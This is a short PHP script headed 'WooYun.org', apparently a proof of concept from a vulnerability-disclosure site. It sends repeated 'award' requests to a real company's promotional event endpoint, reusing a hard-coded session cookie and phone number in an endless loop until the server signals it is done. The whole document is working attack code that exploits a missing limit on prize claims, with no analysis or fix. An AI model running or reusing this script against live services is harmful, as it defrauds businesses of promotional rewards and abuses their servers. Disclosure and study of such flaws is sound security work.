WooYun.org

<?php
function getCode()
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,"http://event.heilanhome.com/20150504/ajax.php");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "mobile=13112345679&cmd=award");
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Pragma: no-cache','Origin: http://event.heilanhome.com',
        'Accept-Encoding: gzip, deflate',
        'Accept-Language: zh-CN,zh;q=0.8',
        'User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; Nexus 5 Build/JOP40D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2307.2 Mobile Safari/537.36',
        'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
        'Accept: */*',
        'Cache-Control: no-cache',
        'X-Requested-With: XMLHttpRequest',
        'Cookie: SNPRIMARY=CR-Qxf4U6pM; PHPSESSID=5e7umg51aam2uorgd37168pli7',
        'Connection: keep-alive',
        'Referer: http://event.heilanhome.com/20150504/']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    $server_output = curl_exec ($ch);
    curl_close ($ch);
    $data = json_decode($server_output, TRUE);
    echo $server_output."\n";
    
    if($data['no']==4)
        exit;
}
for($i=1;true;$i++)
{
    echo $i.':';
    getCode();
}